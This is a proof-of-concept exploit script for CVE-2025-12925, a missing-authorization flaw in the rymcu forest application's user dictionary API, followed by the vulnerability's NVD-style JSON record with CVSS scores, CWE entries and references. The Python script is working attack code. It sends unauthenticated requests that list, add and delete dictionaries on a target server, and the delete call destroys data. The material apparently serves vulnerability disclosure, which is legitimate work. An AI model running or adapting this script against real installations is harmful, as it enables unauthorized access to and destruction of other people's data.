CVE-2025-12925

# CVE-2025-12925 PoC - Missing Authorization in rymcu forest UserDicController # Target: rymcu forest application # Vulnerability: Unauthenticated access to user dictionary management APIs import requests import json target = "http://target-rymcu-forest.com" def poc_get_all_dic(): """Get all user dictionaries without authentication""" url = f"{target}/lucene/api/userDic/getAllDic" try: response = requests.get(url, timeout=10) print(f"[*] Request to {url}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print(f"[+] Success! Retrieved dictionaries without auth.") print(f"[*] Response: {response.text[:500]}") return True except Exception as e: print(f"[-] Error: {e}") return False def poc_add_dic(dic_name="test_dic", content="test"): """Add a new dictionary without authentication""" url = f"{target}/lucene/api/userDic/addDic" payload = { "name": dic_name, "content": content } try: response = requests.post(url, json=payload, timeout=10) print(f"[*] Request to {url}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print(f"[+] Dictionary added without authentication!") return True except Exception as e: print(f"[-] Error: {e}") return False def poc_delete_dic(dic_id=1): """Delete a dictionary without authentication""" url = f"{target}/lucene/api/userDic/deleteDic" payload = { "id": dic_id } try: response = requests.post(url, json=payload, timeout=10) print(f"[*] Request to {url}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print(f"[+] Dictionary deleted without authentication!") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-12925 PoC - Missing Authorization") print("=" * 60) poc_get_all_dic() print("-" * 60)

{"cve": {"id": "CVE-2025-12925", "sourceIdentifier": "[email protected]", "published": "2025-11-10T02:15:34.917", "lastModified": "2026-02-24T07:16:42.157", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in rymcu forest up to de53ce79db9faa2efc4e79ce1077a302c42a1224. Impacted is the function getAll/addDic/getAllDic/deleteDic of the file src/main/java/com/rymcu/forest/lucene/api/UserDicController.java. The manipulation results in missing authorization. The attack may be launched remotely. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}, {"lang": "en", "value": "CWE-863"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rymcu:forest:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025-09-04", "matchCriteriaId": "53C995E6-F16B-4E65-BEA8-2155D74E3320"}]}]}], "references": [{"url": "https://github.com/rymcu/forest/", "source": "[email protected]"}, {"url": "https://github.com/rymcu/forest/issues/199", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://vuldb.com/?ctiid.331645", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.331645", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.681080", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}